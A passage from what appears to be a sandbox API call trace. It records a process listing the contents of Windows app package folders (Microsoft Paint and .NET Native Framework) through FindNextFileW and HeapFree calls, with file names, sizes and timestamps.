cFileName="Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI21E8~1.0_X")) returned 1 [0090.768] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0090.768] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1801155, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa1801155, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa1801155, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0090.768] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0090.768] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa184d60c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa184d60c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa184d60c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons.ttf", cAlternateFileName="")) returned 1 [0090.783] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.784] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1e1d1ec, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae053910, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa2937ee9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thumbnails", cAlternateFileName="THUMBN~1")) returned 0 [0090.784] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0090.784] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e9baa8 | out: hHeap=0x490000) returned 1 [0090.785] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa184d60c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadff5e06, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa1e1d1ec, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stickers", cAlternateFileName="")) returned 0 [0090.785] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0090.785] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0090.786] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa295e142, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa295e142, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa295e142, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x78be, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logo.png", cAlternateFileName="")) returned 1 [0090.789] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0090.789] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa29d0853, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae1f1d1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa2b01b2f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SplashScreen", cAlternateFileName="SPLASH~1")) returned 1 [0090.844] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0090.844] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2b01b2f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae1f47d0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa2caac59, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Square150x150", cAlternateFileName="SQUARE~1")) returned 1 [0090.845] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0090.845] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2cafa91, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae2671bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa2cfbf72, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Square310x310", cAlternateFileName="SQUARE~2")) returned 1 [0090.851] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0090.851] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2d221c7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae268742, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa2e586d2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Square44x44", cAlternateFileName="SQUARE~3")) returned 1 [0090.853] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0090.853] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2e586d2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae26a4c5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa2e7e910, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Square71x71", cAlternateFileName="SQUARE~4")) returned 1 [0090.853] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0090.853] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2eb2c15, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae2b9598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa2ed8e94, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="StoreLogo", cAlternateFileName="STOREL~1")) returned 1 [0090.857] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0090.857] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2eff0ed, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae32081c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa2f4b5a4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Wide310x150", cAlternateFileName="WIDE31~1")) returned 1 [0090.858] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0090.858] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2eff0ed, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae32081c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa2f4b5a4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Wide310x150", cAlternateFileName="WIDE31~1")) returned 0 [0090.858] FindClose (in: hFindFile=0x583148 | out: hFindFile=0x583148) returned 1 [0090.858] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0090.858] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2f4b5a4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa2f4b5a4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa2f4b5a4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x86ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paint_Logo_with_Trademark_ABOUT_POPUP.png", cAlternateFileName="")) returned 1 [0091.182] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0091.183] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2f72ca1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa2f98f1f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa2f98f1f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreLogo.png", cAlternateFileName="")) returned 1 [0091.183] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0091.183] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2f98f1f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae3225d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa2fe53db, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Help", cAlternateFileName="")) returned 0 [0091.184] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0091.184] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.184] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2f98f1f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae321d67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa2f98f1f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0091.184] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0091.184] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.185] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa300b634, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa300b634, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa300b634, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x24a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Beihai.Common.Diagnostics.dll", cAlternateFileName="")) returned 1 [0091.186] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.186] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa30f045a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae32349e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa30f045a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CoreEngine", cAlternateFileName="COREEN~1")) returned 1 [0091.188] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0091.188] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3162b66, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae3c32ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa3162b66, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BrushProfile", cAlternateFileName="BRUSHP~1")) returned 1 [0091.188] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0091.188] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3162b66, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa3188dc4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa3188dc4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x23610, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OilDaubHeight.png", cAlternateFileName="")) returned 1 [0091.188] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.188] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa30f045a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xae323c6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa31af01d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0091.188] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0091.188] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.190] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30ca1fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa30f045a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa30f045a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x12c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CoreEngine.winmd", cAlternateFileName="")) returned 1 [0091.191] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.191] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3aec230, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa3aec230, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa3aec230, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4ff30, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Xaml.Interactions.dll", cAlternateFileName="")) returned 1 [0091.193] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.193] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4580975, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa45f3085, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xa45f3085, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xf6a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Utils.CX.dll", cAlternateFileName="")) returned 1 [0091.193] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0091.193] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb21852be, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae4c23b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69869570, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI052E~1.0_X")) returned 1 [0091.432] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.432] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb21ab500, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb21ab500, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xb21ab500, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2993, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0091.434] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0091.434] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd88c5fc4, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd88c5fc4, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xd88c5fc4, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0091.434] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0091.434] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.434] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb21ab500, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb21ab500, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xb23e79d9, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x788000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SharedLibrary.dll", cAlternateFileName="")) returned 1 [0091.434] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0091.435] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb23e79d9, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae58079f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x69b6448c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe", cAlternateFileName="MI3AF7~1.0_X")) returned 1 [0091.441] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.441] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb240dc54, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb240dc54, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xb240dc54, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2993, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0091.442] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0091.442] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9da2999, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd9da2999, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xd9da2999, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0091.442] FindClose (in: hFindFile=0x582dc8 | out: hFindFile=0x582dc8) returned 1 [0091.442] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.442] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb240dc54, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb240dc54, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xb26701cd, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x629000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SharedLibrary.dll", cAlternateFileName="")) returned 1 [0091.442] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0091.443] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f97eba2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xae61172a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5c39f778, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI4ACC~1.0_X")) returned 1 [0091.447] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.447] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f97eba2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x4f97eba2, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x4f97eba2, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0091.447] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0091.448] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdae53146, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x12ce6df5, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x12ce6df5, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0091.448] FindClose (in: hFindFile=0x583148 | out: hFindFile=0x583148) returned 1 [0091.448] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.448] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f97eba2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x4f97eba2, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x4fbbaeee, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x788550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SharedLibrary.dll", cAlternateFileName="")) returned 1 [0091.448] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) 